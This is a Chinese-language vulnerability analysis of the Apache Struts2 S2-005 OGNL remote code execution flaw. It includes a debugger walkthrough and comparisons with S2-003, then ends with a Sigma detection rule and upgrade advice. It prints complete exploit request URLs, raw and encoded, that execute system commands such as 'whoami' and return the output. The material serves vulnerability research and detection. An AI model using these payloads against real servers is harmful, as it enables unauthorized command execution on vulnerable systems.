ATT&CK-st005漏洞之漏洞分析与利用

admin 2022年5月19日20:04:20评论47 views字数 4557阅读15分11秒阅读模式
ATT&CK-st005漏洞之漏洞分析与利用

STATEMENT

声明

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测及文章作者不为此承担任何责任。

雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。


ATT&CK-st005漏洞之漏洞分析与利用

前言

原理:
S2-005的出现是因为官方对S2-003的修补不完全导致的。官方通过增加安全配置禁止静态方法调用(allowStaticMethodAcces)和类方法执行(MethodAccessor.denyMethodExecution)等来修补。但可以被绕过设置allowStaticMethodAccess为true和denyMethodExecution为false,从而导致任意命令执行。

漏洞影响范围:
Struts 2.0.0 - Struts 2.1.8.1

ATT&CK-st005漏洞之漏洞分析与利用


环境搭建

下载 st-005 的漏洞环境,通过war包部署,idea运行war包部署后的文件,进行断点调试。
payload如下:

## 命令执行/example/HelloWorld.action?('u0023_memberAccess['allowStaticMethodAccess']')(meh)=true&(aaa)(('u0023context['xwork.MethodAccessor.denyMethodExecution']u003du0023foo')(u0023foou003dnew%20java.lang.Boolean("false")))&(asdf)(('u0023rt.exec(%22calc%22.split(%22@%22))')(u0023rtu003d@java.lang.Runtime@getRuntime()))=1回显:/example/HelloWorld.action?(a)(u0023_memberAccess.allowStaticMethodAccessu003dtrue)&(b)(u0023context['xwork.MethodAccessor.denyMethodExecution']u003dfalse)&(c)(u0023retu003d@java.lang.Runtime@getRuntime().exec('whoami'))&(d)(u0023disu003dnewu0020java.io.BufferedReader(newu0020java.io.InputStreamReader(u0023ret.getInputStream())))&(e)(u0023resu003dnewu0020char[20000])&(f)(u0023dis.read(u0023res))&(g)(u0023writeru003d@org.apache.struts2.ServletActionContext@getResponse().getWriter())&(h)(u0023writer.println(newu0020java.lang.String(u0023res)))&(i)(u0023writer.flush())&(j)(u0023writer.close())

编码:

## 命令执行/example/HelloWorld.action?(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)((%27%5cu0023rt.exec(%22calc%22.split(%22@%22))%27)(%5cu0023rt%[email protected]@getRuntime()))=1## 回显/example/HelloWorld.action?(a)(%5Cu0023_memberAccess.allowStaticMethodAccess%5Cu003dtrue)&(b)(%5Cu0023context%5B'xwork.MethodAccessor.denyMethodExecution'%5D%5Cu003dfalse)&(c)(%5Cu0023ret%5Cu003d%40java.lang.Runtime%40getRuntime().exec('whoami'))&(d)(%5Cu0023dis%5Cu003dnew%5Cu0020java.io.BufferedReader(new%5Cu0020java.io.InputStreamReader(%5Cu0023ret.getInputStream())))&(e)(%5Cu0023res%5Cu003dnew%5Cu0020char%5B20000%5D)&(f)(%5Cu0023dis.read(%5Cu0023res))&(g)(%5Cu0023writer%5Cu003d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter())&(h)(%5Cu0023writer.println(new%5Cu0020java.lang.String(%5Cu0023res)))&(i)(%5Cu0023writer.flush())&(j)(%5Cu0023writer.close())
ATT&CK-st005漏洞之漏洞分析与利用

代码分析

输入url请求:

/example/HelloWorld.action?('u0023_memberAccess['allowStaticMethodAccess']')(meh)=true&(aaa)(('u0023context['xwork.MethodAccessor.denyMethodExecution']u003du0023foo')(u0023foou003dnew%20java.lang.Boolean("false")))&(asdf)(('u0023rt.exec(%22calc%22.split(%22@%22))')(u0023rtu003d@java.lang.Runtime@getRuntime()))=1

S2-005的出现是因为官方对S2-003的修补的不完全导致的。官方通过增加安全配置禁止静态方法调用(allowStaticMethodAcces)和类方法执行(MethodAccessor.denyMethodExecution)等来修补。大家可以先查看st-003漏洞分析过程,这里不再重复啦。

首先,在ParametersInterceptor拦截器,setParameters方法下,代码:newStack.setValue(name, value) 这里设置断点调试。

ATT&CK-st005漏洞之漏洞分析与利用

对输入参数进行跟踪,node参数设置,# _memberAccess['allowStaticMethodAccess'],

将allowStaticMethodAccess修改为true。

ATT&CK-st005漏洞之漏洞分析与利用

继续跟进:

ATT&CK-st005漏洞之漏洞分析与利用
ATT&CK-st005漏洞之漏洞分析与利用

继续跟踪:

ATT&CK-st005漏洞之漏洞分析与利用

通过invoke方法调用,实现allowStaticMethodAccess参数修改。

ATT&CK-st005漏洞之漏洞分析与利用

同时,denyMethodExecution参数修改与之类似,不再进一步分析。

st-003与st-005 参数对比:

都可以实现denyMethodExecution 参数的修改。

st-003:(a)(u0023context['xwork.MethodAccessor.denyMethodExecution']u003dfalse)st-005:(a)(('u0023context['xwork.MethodAccessor.denyMethodExecution']u003du0023foo')(u0023foou003dnew%20java.lang.Boolean("false")))

st-003的命令执行参数无法在st-005漏洞环境上成功。

st-003:('[email protected]@getRuntime().exec('calc')')(bla)(bla)st-005:(asdf)(('u0023rt.exec(%22calc%22.split(%22@%22))')([email protected]@getRuntime()))

同时,st-005多了allowStaticMethodAccess参数的修改,具体如下:

('u0023_memberAccess['allowStaticMethodAccess']')(meh)=true
ATT&CK-st005漏洞之漏洞分析与利用

测试用例

使用工具:Struts2漏洞检查工具2019版 V2.3.exe进行漏洞验证,具体如图:

ATT&CK-st005漏洞之漏洞分析与利用
ATT&CK-st005漏洞之漏洞分析与利用

检测规则

Sigma检测规则如下:

title: st-005远程代码执行漏洞description: 检测st-005远程代码执行漏洞status: testdate: 2022/04/02author: bigsealogsource:category: webserverdetection:selection:c-uri|contains:- 'allowStaticMethodAccess'- 'u0023_memberAccess'- 'xwork.MethodAccessor.denyMethodExecution'- 'u0023context'- 'java.lang.Runtime'- 'java.lang.ProcessBuilder'condition: selectionfields:- c-ip- c-dnstags:- attack.t1190- attack.initial_access- cve.2010.1870level: Critical
ATT&CK-st005漏洞之漏洞分析与利用

缓解措施

官方建议Struts升级至 2.2.1版本,或更高版本。

ATT&CK-st005漏洞之漏洞分析与利用

参考链接

https://xz.aliyun.com/t/2323
http://www.b1ue.cn/archives/107.html
https://cwiki.apache.org/confluence/display/WW/S2-005


安恒信息

杭州亚运会网络安全服务官方合作伙伴

成都大运会网络信息安全类官方赞助商

武汉军运会、北京一带一路峰会

青岛上合峰会、上海进博会

厦门金砖峰会、G20杭州峰会

支撑单位北京奥运会等近百场国家级

重大活动网络安保支撑单位

ATT&CK-st005漏洞之漏洞分析与利用


END

ATT&CK-st005漏洞之漏洞分析与利用
ATT&CK-st005漏洞之漏洞分析与利用
ATT&CK-st005漏洞之漏洞分析与利用

长按识别二维码关注我们



原文始发于微信公众号(雷神众测):ATT&CK-st005漏洞之漏洞分析与利用

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月19日20:04:20
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   ATT&CK-st005漏洞之漏洞分析与利用https://cn-sec.com/archives/1024054.html

发表评论

匿名网友 填写信息